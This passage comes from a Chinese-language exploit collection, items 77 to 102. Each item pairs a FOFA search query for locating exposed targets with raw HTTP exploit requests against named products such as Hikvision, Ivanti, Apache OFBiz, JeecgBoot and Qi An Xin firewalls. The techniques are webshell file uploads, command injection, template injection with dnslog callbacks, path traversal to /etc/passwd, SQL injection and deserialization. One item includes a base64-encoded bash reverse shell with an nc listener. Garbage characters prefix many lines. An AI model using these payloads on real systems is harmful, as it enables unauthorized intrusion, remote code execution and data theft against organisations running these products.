+ Q! ~& G1 N3 L) I* H" O6 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. l  ?$ J; D+ |% jCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
- I1 t6 a& z  O  o. u. fUpgrade-Insecure-Requests: 1

, J$ W  u" b; I' @" y- ], p& R{
/ f$ T. E/ f* g6 `. I7 \0 u* f3 V"command": "GetFZinfo",
/ E& N+ y- P  b: d* Z  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
1 |8 c! I7 a' }" h; {4 X; n  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


- d9 p. X* g9 N" z( `GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
# X3 K1 x: A9 C7 q# E0 H  H/ e" ]Host: x.x.x.x
) L3 T" x; B" b
0 B7 N! M/ p' X$ ?1 E
. m2 @3 c# i) K: b! Q
! [( ?9 a$ u# ]77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
) a0 \! i0 [) q, CPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
9 A9 Z$ z# p; r3 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
) d) d  [/ s5 SAccept-Encoding: gzip, deflate
" i( M0 X9 x( C9 ~6 |- j4 R" S% tAccept-Language: zh-CN,zh;q=0.9
  d* B1 z! Q9 _  UContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
( }- b6 q  \" Z. c! y4 e" L" w
$ Z' [& P" _2 A8 l------------398jnjVTTlDVXHlE7yYnfwBoix
5 {$ W( \. [' L7 X/ w; [* ~1 F: k: K; YContent-Disposition: form-data; name="folder"
$ z' {& {3 H& H' o
' |, K& X, q" ^/ p6 F/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
! n! f* c0 M; N9 o/ QContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
. t6 L5 {$ U5 I+ Q5 Z------------398jnjVTTlDVXHlE7yYnfwBoix
9 S- d- D3 L# F3 Q! \Content-Disposition: form-data; name="Upload"

0 Q/ ]7 p5 S7 O. `Submit Query
# d8 |6 p( K  q! j+ E6 _------------398jnjVTTlDVXHlE7yYnfwBoix--
) O4 y, M1 X6 m& f1 f7 S: s
8 m" n1 }% a2 Y) M3 E
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
, k/ y' E) a7 oFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
: ]4 A$ B3 M* P! j1 G2 Q% }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 f5 D% v, m) l: NConnection: close
! t% ^0 @0 D5 _7 v4 OContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
7 {$ p! g' O7 f! u# a# m6 C
. J( w/ f& A' b* N: |8 G' A------YsOxWxSvj1KyZow1PTsh98fdu6l
+ G$ @( ?* u6 u( V  GContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

! Z" ^- j1 S* @6 w$ o6 UYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
6 p& |; G8 J* I4 }( i! @$ g& \
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

" a! x* z6 ^; s' q
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
* ]# Q$ I* B& r# u# N! R7 S7 [

' L0 Z2 _. i" I9 s' q79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
; o9 _  O; N2 ]: G. @; Q! kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" i9 L# u6 K) d- ]2 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" T( z  B! W' W& {8 T2 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% D! t6 q# T; @% W" o" V" ^Accept-Encoding: gzip, deflate
0 T$ M3 R/ ], u3 Q( zConnection: close
: I+ U0 M' Z: j/ S  X- R4 SUpgrade-Insecure-Requests: 1
" C. m- b2 k% c( b+ @; |3 O* V' c
7 ?1 q6 E: X: C8 w: m- y$ t$ D# Z
% d) [' x! `% H" m  V3 z80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
; g+ n+ ^" G8 U1 w  fPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
+ p6 |- @4 b/ p1 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; P- H+ b, q' n" C5 CContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
; C5 M! g1 V) V/ V8 i. w, `Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

) r+ o; W: O' W1 _4 s  I# I  u( G<% out.print("oessqeonylzaf");%>


- H, s5 O3 H9 c4 C+ X" p/ DGET /xykqmfxpoas.jsp HTTP/1.1
1 a3 J6 V# g# m5 w2 uHost: x.x.x.x
9 y& H& v9 f3 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( f( w, s% c& y1 ], R1 N9 vAccept-Encoding: gzip

* y2 C  [5 @% {2 W
" S0 Z! z5 k' Q# e81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
$ k% c4 q: `6 DFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
6 O" o# g7 `5 ?- L, xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 W! o; D( B' Z! X! aConnection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
5 k; |/ w8 Y! V6 bFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
2 p" w6 q$ y- T; U+ g* v) G4 {4 p$ {4 lUser-Agent: Go-http-client/1.1
Content-Length: 23
2 K( V# P( Y; ~' d1 z- VAccept-Encoding: gzip
5 B- S' y( t1 ^+ d8 |$ LConnection: close
7 V6 O( S2 k0 `% c6 u7 d9 pContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
" m2 y- k: f$ k! X' E. oFOFA：title=="JeecgBoot 企业级低代码平台"
: m: P& h  \, J

POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
' b2 I7 e# c) X& }& r" _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) _8 I/ r9 e6 e3 Z& c( mConnection: close
Content-Length: 8881
8 Q( O& {! j6 d1 z4 t, H8 EAccept-Encoding: gzip
8 J" _# O7 ~% {% y6 RCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

  }& l1 z& i, V, S4 MPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
0 c9 L% a$ g: Q* v0 O


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
6 r( B! i3 u; \" {- EUser-Agent: curl/7.88.1
" b5 n+ E- K2 c4 k. _Content-Length: 156
: J2 d* Q3 J7 M$ S9 E' \. X8 ^Accept: */*
9 `+ d% }  y5 y) s% h0 PConnection: close
Content-Type: application/json
& H# v6 g2 K+ f" _: EAccept-Encoding: gzip
1 N2 }. W! I' J2 ]/ J; `* v
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
6 Q% n7 P, Z( u8 Y5 F  q}
5 R, O4 @+ h# I: \/ K0 V; \

85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
- e2 y4 U6 I! b, D( h% z3 T  [FOFA：body="sysaid-logo-dark-green.png"
$ d1 n) ^% r/ y/ q' a* MEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
/ C* k& w1 U3 i3 S/ F! LAccept-Encoding: gzip

6 G7 Z# v7 E9 g1 \. d9 ?  ePAYLOAD
1 P3 d) Y2 ^. M# z: s
4 E2 v+ u  V! ?' ^9 R+ @4 b回显URL：http://x.x.x.x/userfiles/index.jsp
1 _$ q+ h3 J  b& y  j6 c
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
( r: E3 D6 O2 c& H" ^8 I  ~9 }Connection: close
Content-Length: 44
7 }; T; x* W0 Y. HAccept: */*
Accept-Encoding: gzip
8 v7 R2 ?4 [" ?) }; p8 J* f* `/ EAccept-Language: en
Content-Type: application/x-www-form-urlencoded

, `4 q: T% Z7 ?! P. B7 Khost=%0acat${IFS}/etc/passwd%0a&command=ping
( h* T( `. V. @3 Y0 l8 G! k4 |* ~

87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
% ^) T  P- y5 S$ ]2 DHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
1 D8 _3 r) x5 c2 L& e- {
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
: X3 b  M1 l$ |- I2 |
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
' J# o" }6 h$ V( o; d5 h--qqobiandqgawlxodfiisporjwravxtvd--

) `6 u$ d# l% \, {
* E0 t/ f2 j, f6 X" l2 D; W" C. s/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
' K9 Q% @9 E2 zGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
4 C  @3 m# Y3 M4 |; Z" GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 H# `' g3 R  ?9 @. b! mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; o" ~( U1 q- O% N- f' KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


/astdfkhl.php

( x, E! i' z. O- E1 ~89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
8 }0 x& ?! _2 @; r3 b0 i3 \POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
1 s+ @( _# [1 A/ I5 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 ~/ ^' l3 u& e- ^% h+ e9 qConnection: close
& v4 o9 L9 v# x3 L- VContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

4 z8 K8 @$ ^* ?option=2&GUID=-1'+union+select+111*222--+
) d4 ]% S7 `. e/ |# {% B/ V. Q
8 v( P) g* {( R
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
" I5 ]5 o3 j; H, C- J; D- yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" w1 \7 I% z4 W% x9 DContent-Length: 51
$ T; @/ k, S* W$ R- M% _. a  nAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
9 L# Z/ ]8 b" G$ l9 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 [% \+ @: s, H, L0 T5 DConnection: close
2 L  I1 O3 y! Y  M) @Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
1 V1 k0 ?5 U5 e' o- ~/ l- d1 }
8 u+ K, J: t! W2 E" ^" P4 l% hjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

! @9 T# B. q! ]$ m1 `0 d6 d2 f
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
6 O! r+ `  q' j4 t: e5 F  W7 XGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
1 F1 d0 N) t! pAccept: */*
; e) N  z/ G" FConnection: keep-alive

" E- W- o7 Z/ H. f( a0 W+ j0 }

4 B  j' W! r$ a& V92. 海康威视运行管理中心session命令执行
Fastjson命令执行
* `+ Q% N% ~/ _6 w1 xhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
7 O$ q" G5 b/ y6 F# B, m: OPOST /center/api/session HTTP/1.1
Host:
$ W7 A$ a+ C3 H8 aAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
4 d: T5 |  c% l8 yContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
" N: {( b% l& {$ c& U/ Y& FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD

* D/ _+ e5 K# l% b; ]
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
: J- ?! D. K. pHost: x.x.x.x
0 e  G5 I% X- \: zContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* Y0 A' r5 L9 T7 ^9 @$ n
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

, p% C% K( e- R6 H: g7 I10000000
------WebKitFormBoundarykcbkgdfx
: i1 S# W: j# ?) R6 a9 n1 e4 ]: kContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
5 Y6 W8 f+ ^+ {Content-Type: text/plain
. A) l. ~. H% A* U, A$ y, I
9 y$ B) j8 ]5 W/ R/ `* Uwagletqrkwrddkthtulxsqrphulnknxa
3 ]% [" s8 l  G+ r' h9 v" I------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
, f6 D3 `- Q& L' N+ M# E1 \/ c& x
5 T' S$ z: k3 m. C' F3 H& oobj_app_upfile
5 l# \* o& ?" M, X7 z) J* R+ G------WebKitFormBoundarykcbkgdfx
  R, d& x$ L0 t& p4 |- lContent-Disposition: form-data; name="__hash__"
: ]- x# e/ C) D2 K% y; m! d
; D" o, F5 y, o( _% w0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
' K! x$ F2 E- a, ]& g' W' b$ P: M
, m. s, M" b' G- r$ _9 ~4 u& u8 V
GET /attachements/xlskxknxa.txt HTTP/1.1
" T6 J3 g+ ~0 _) u& u. bHost: xx.xx.xx.xx
; p, x% {, U$ J' XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  d, g: K% ~. n( X. S9 P

' q& Z1 I6 i- m. Y- v* Q1 _94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
/ M, K+ F/ n- _) Y, V6 RFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
$ s+ f  {0 D; d  I5 THost: x.x.x.x
  F0 |& |; k: K+ h! EContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! b* G: B+ g. L5 {8 _. k7 I; K
------WebKitFormBoundarybqvzqvmt
, O6 z/ c3 ?0 Z4 Q5 uContent-Disposition: form-data; name="MAX_FILE_SIZE"
  V4 _2 e& F/ ^  g3 _
" C6 }4 s4 i  u* A10000000
------WebKitFormBoundarybqvzqvmt
+ C2 p% x# Q9 x; @/ KContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
4 p0 u& c3 O/ t5 Z' j% S
" V; ]) l' o+ L% R8 Vpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
2 N# o& J- v# O# q0 {* B6 L1 z
1 c1 b+ D: M6 A8 q7 m- ]; _6 [obj_app_upfile
4 V( j/ d2 N2 I' M) |$ b------WebKitFormBoundarybqvzqvmt
! v7 K4 b2 o; N4 RContent-Disposition: form-data; name="__hash__"
. Y& x% t& r' E- Q7 r
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

  n+ b7 Z7 y8 J$ m& u6 l/ g

- v2 |' o; ?2 v8 GGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
2 o. r9 O7 J- [( Y9 m9 `. R2 pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
. A6 Q5 J4 @" g9 lCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
  \3 e- @5 |2 G+ w$ F9 l+ o; d6 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
# w6 k8 p- K% NConnection: close
  A& R# O* |: h# O" \0 [Content-Length: 889
- E8 |- W, a5 F" ~9 p& XContent-Type: application/xml
- y- c! n' c; C8 J: ?* \) i$ g" N2 vAccept-Encoding: gzip

" `9 O. c0 L% E: F) ^<?xml version="1.0"?>
: P  g, P; b: J. r; R<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
% U, s; D* W  r3 ]    <params>
/ ?( i9 I2 t( n! M9 ^( f# e* h$ F3 i0 c$ d      <param>
      <value>
- O- h- ^% s, N        <struct>
8 D# }: n1 q* P; \  Y1 J. ]" O       <member>
; P/ m$ E! I1 s4 m+ h/ H          <name>test</name>
          <value>
, I1 ]: J/ L' N& p, j      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
+ ]+ Z3 ?1 B3 c, s. u0 `6 J  d) S          </value>
        </member>
      </struct>
      </value>
    </param>
    </params>
, P6 L1 n* r5 A, M* Z</methodCall>
' j" r! w* V% b0 f+ g) f
, k: ^! }0 I0 Y- i2 S( d! n
6 L! t- T2 u; u4 j1 ^* j用ysoserial生成payload
- k  C+ D; }) M. j( p9 M. _java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
3 ]# J0 I9 V  v9 I" P
) G; o9 M, d1 \+ M: Z
将生成的payload替换到上面的POC
+ E( Z, g+ ^* C2 ^POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
! A# f6 V6 }1 {$ sHost: 192.168.40.130:8443
$ ?9 a* Z/ f% H' MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
, E+ F5 O$ V, y) B/ w" ^Content-Type: application/xml
Accept-Encoding: gzip
7 A, P3 R: G3 t$ r6 w
) l8 `2 x' k! g6 \PAYLOAD

& s# V: H" b- ~0 @3 z  I96. Apache OFBiz  18.12.11 groovy 远程代码执行
/ d3 M7 Q7 ]$ E" lFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
& s  ~/ J# J# H& J5 d: r& W  A8 x; xHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
; j2 X" \$ Y9 T6 N2 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 E8 x, x' j  G5 s: J( }Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
  F3 T6 Z4 l) |, b2 {4 \; Z

: u; g7 p% w7 @1 B% x反弹shell
在kali上启动一个监听
' D. J9 ]; D- i4 @7 vnc -lvp 7777
& r- }  O0 {) l7 |( F7 g# T: Z6 ~0 w
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 ?, \7 C+ J* }Host: 192.168.40.130:8443
7 Y+ T* k/ q( M# ]) J9 X  L* KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 u( z4 q; }; g2 t" ZAccept: */*
- C/ y( U, I+ p; dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
6 A' k$ K* m5 S4 qContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

5 j$ C5 R* @  Y; l97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
( v& v: m, F- r2 O! j: y) N# O$ lGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
! |, ?- d4 L3 s9 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" q/ M( `. P  P5 GAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

, p) P1 n* c& y. z9 [
/ I* |! f; F5 U! B7 p4 }98. SpiderFlow爬虫平台远程命令执行
. F  y1 `! r) @) D9 N& {CVE-2024-0195
% D9 V. N8 ^. q5 P# ~# T0 aFOFA：app="SpiderFlow"
/ A' \8 Q9 d& |4 X: X8 ~POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 s) e) l4 ^* `) M& WConnection: close
4 j9 b, d  r* |9 P2 ]Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
" b) b' `" G2 P- Y$ H3 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
2 \/ _- U- o, c- Z; E6 ]; H
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
/ J# d8 M# u5 y( A( ~# d
1 ^/ }  M6 |, C$ f) l. V
& d- s0 ]) L! ]8 P$ c4 \99. Ncast盈可视高清智能录播系统busiFacade RCE
+ m. d+ B- }- O% P' P: Z9 cCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
& [8 v7 F# \3 k+ f- ?+ oPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
7 s; j$ ], W) s- NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ \+ P7 ]2 k( ^$ d, p, C$ cConnection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
3 p" _! S3 i  M! eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

7 y! g. D. V# _7 W! L$ N2 }' `
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
# q" m* ?1 a& O" k4 ^CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
! A1 p; p) l# O8 c# v, JUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
# A. ]3 S7 B% `: p3 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
# E6 r2 J6 _& G9 f& {0 hAccept-Encoding: gzip
2 E9 M- W& H' ?8 y0 ~
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

; n* y: i0 c9 z' ?: |
101. ivanti policy secure-22.6命令注入
3 _* x6 T* v% [4 zCVE-2024-21887
" H; ~* V3 U- ^: L: L" `6 B( ?FOFA：body="welcome.cgi?p=logo"
2 L& l/ ^6 Q, B3 g/ c2 Z0 w) bGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. x0 i8 x; H0 t/ h+ Q4 |7 ?- bConnection: close
; f: }* N. t0 L- g$ U, D+ RAccept-Encoding: gzip
, ~5 V0 @. V; l! d: S% u/ b
/ N  a( x* X2 J/ K8 C2 m
1 K+ x8 o& A4 U! ~102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
9 H0 F2 Q$ o' y5 _+ dPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
